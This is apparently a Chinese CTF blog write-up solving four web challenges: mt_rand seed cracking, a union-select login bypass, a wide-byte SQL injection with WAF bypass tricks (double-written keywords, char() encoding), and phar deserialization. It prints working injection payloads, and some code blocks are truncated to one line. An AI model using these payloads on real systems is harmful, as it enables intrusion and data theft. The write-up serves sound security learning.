做一下安恒杯新春祈福赛,记录WriteUp
Web
枯燥的抽奖
访问首页提示
1 | 猜字符串游戏(大小写字母+数字),猜中全部20位得flag+送去非洲,你不小心偷看到了一部分是: |
查看源代码无果,搜索发现是和广外第三届网络安全大赛的题差不多,开始解题
在network网络包里发现check.php源代码
1 | 4unkksWvpD |
加密过程为在0~999999999之间取一个随机数作为随机函数的种子,然后用随机函数mt_rand()产生随机数进行加密,给出加密结果的前十位,求所有的结果,但是伪随机数只要种子一样,给出的随机数就是一样的,
伪随机数爆破工具 https://www.openwall.com/php_mt_seed/
位移量偏移脚本
1 | s1="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" |
得到种子序列
1 | 29 31 0 61 19 21 0 61 12 14 0 61 9 11 0 61 9 11 0 61 17 19 0 61 57 59 0 61 20 22 0 61 14 16 0 61 38 40 0 61 |
用种子序列爆破种子
1 | time ./php_mt_seed 29 31 0 61 19 21 0 61 12 14 0 61 9 11 0 61 9 11 0 61 17 19 0 61 57 59 0 61 20 22 0 61 14 16 0 61 38 40 0 61 |
得到时间种子
给出PHP脚本
1 | <?php |
得到加密结果
提交即可得到flag
BabySqli
题目说明
1 | 刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码! |
提交万能密码
1 | admin'# |
登录失败,查看源码
在search.php发现加密字符串
1 | MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5 |
base32+base64解密得
1 | select * from user where username = '$name' |
在注入万能密码时提示了don’t hack me,所以应该存在过滤,fuzz一波
username存在以下过滤,可能不全,但是可以union select 就可以操作
1 | or、=、(、)、order、floor |
测字段数
1 | admin' union select 1,2,3# |
对比差异可以判断字段数为3
因为密码是做了md5,所以可以构造联合查询来伪造出密码,最终payload 如下
1 | name=' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123 |
- 说明:202cb962ac59075b964b07152d234b70=md5(123)
得到flag
代码参考
1 | <?php |
BabySqli2.0
题目说明
1 | 我对网站进行了加固,还支持了中文账号,这下你们没辙了吧? |
鲁迅说过,一提到中文,马上想到gbk,马上想到宽字节注入
1 | admin' 提示没有此用户 |
waf探测
查表名时出现了极其奇怪的情况,后来发现是对关键词进行了过滤,而查询数据库名时,extractvalue()即使没有select,也可以查出来数据库名,日,于是先fuzz一波关键词,以后要记得先探测waf,发现至少有以下关键词被过滤,但双写可以绕过
1 | union select where |
注数据库名
1 | 1%df' and extractvalue(1,concat(1,(seselectlect database()),1))%23 |
得到web_sqli
注表名
1 | 1%df' and extractvalue(1,concat(1,(seselectlect group_concat(table_name) from information_schema.tables whwhereere table_schema=database()),1))%23 |
得到f14g,user
查询字段
这里table_name=’f14g’,但是引号被转义了,尝试使用0x也被waf了,这里采用char编码绕过
1 | 1%df' and extractvalue(1,concat(1,(seselectlect group_concat(column_name) from information_schema.columns whwhereere table_name=char(102,49,52,103)),1))%23 |
得到b80bb7740288fda1f201890375a60c8f,md5(解密为id)
查询字段
1 | 1%df' and extractvalue(1,concat(1,(seselectlect group_concat(b80bb7740288fda1f201890375a60c8f) from f14g),1))%23 |
发现确实是id,然后查md5(flag)试试
1 | 1%df%27 and extractvalue(1,concat(1,(seselectlect group_concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g),1))%23 |
得到VGhlIGZpcnN0IG1hbiBuYW1lIHdhcyBr
这里说一个地方,为什么flag字段没查出来,因为group_concat()好像只能读出长度32位,所以读出第一个hash后就没能显示出第二个hash
base64为The first man name was k
????
通过limit 全查出来试试,直接用python脚本
1 | import requests |
在第22列发现flag,但是只有一半
借助substr读出来就好了
1 | import requests |
Babysqliv3.0
题目说明
1 | 这次我可是绝对防御! |
首页登录界面
admin和password登录即可,
自动设置session后跳转到一个上传页面
预期解法
观察到存在GET参数?file=upload,文件包含明细标志,尝试读取源代码
upload.php
1 | <?php |
home.php
1 | <?php |
代码审计可知,存在可控参数$_GET[‘name]并且当this->token == $_SESSION[‘user’]时可以执行eval($this->cmd)函数,利用phar反序列化解题即可
首先上传任意文件,得到$_SESSION[‘user’]
1 | GXYf3ccadb4ef0535e40f455b2664479262 |
给出生成phar的PHP代码
1 | <?php |
上传生成的phar.phar文件,得到路径
1 | /var/www/html/uploads/c04a544d2136e74a467867f1c6a5097f/GXYf3ccadb4ef0535e40f455b2664479262.txt |
利用name参数和phar://并上传文件来实现反序列化,读取flag即可
非预期解法
上传文件名为flag.php的文件,因为有
1 | echo file_get_contents($uploader); |
就很尴尬………………
本文链接: https://yd0ng.github.io/2020/02/04/%E5%AE%89%E6%81%92%E6%9D%AF%E6%96%B0%E6%98%A5%E7%A5%88%E7%A6%8F%E8%B5%9B/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!